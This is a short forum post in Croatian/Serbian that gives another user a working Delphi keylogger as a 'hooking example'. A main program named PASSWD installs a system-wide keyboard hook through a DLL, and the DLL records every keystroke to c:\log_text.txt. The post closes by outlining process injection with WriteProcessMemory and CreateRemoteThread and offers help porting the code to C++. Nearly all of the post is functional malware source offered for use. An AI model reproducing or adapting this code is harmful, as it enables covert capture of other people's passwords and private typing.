Des itf...nema te nista na ICQ ;P
Evo ti mali primjer za hookovanje u delphiu...
Ovo je glavni program:
Code:
program PASSWD;
uses
Windows;
{$R *.RES}
var
Hook : HHOOK;
DllInstance : DWORD;
HookProc : FARPROC;
Begin
DllInstance := LoadLibrary('PASSWDDLL');
HookProc := GetProcAddress(DllInstance, 'HookProcedure');
Hook := SetWindowsHookEx(WH_KEYBOARD, HookProc, DllInstance, 0);
Sleep(INFINITE);
UnhookWindowsHookEx(Hook);
FreeLibrary(DllInstance);
end.
I ovo je DLL koji poziva taj program:
Code:
library PASSWDDLL;
uses
Windows;
Procedure HookProcedure(nCode: Integer; wParam: WPARAM;
lParam: LPARAM); stdcall;
var
LogFile : THandle;
BytesWritten : DWORD;
Ch : Byte;
begin
if ((HiWord(lParam) and KF_UP) <> 0) and
(nCode = HC_ACTION) then
begin
LogFile := CreateFile('c:\log_text.txt', GENERIC_WRITE,
FILE_SHARE_READ, Nil,
OPEN_ALWAYS, 0, 0);
SetFilePointer(LogFile, 0, Nil, FILE_END);
WriteFile (LogFile, wParam, 1, BytesWritten, Nil);
if Lo(wParam) = 13 then
begin
Ch := 10;
WriteFile (LogFile, Ch, 1, BytesWritten, Nil);
end;
CloseHandle(LogFile);
end;
CallNextHookEx(0, nCode, wParam, lParam);
end;
exports HookProcedure;
end.
HookProcedure mora bit u DLL-u zato jer se jedino DLL moze ucitat u sve procese, ja sam prije pokuso bez dll-a i uspio sam na kraju al je kod bio gadan, ako ga iskopam pa ti ga posaljem! => uglavnom morao si injectat HookProcedure u sve aktivne procese/servise sa WriteProcessMemory te takodjer upisat obicnu petlju koja ce pozivat tu fju i onda sa CreateRemoteThread pozvat taj skok.. ima i laksih nacina al jbga :/
Ako ne uspijes ovo prevest u C++ cimni me na ICQ :/
z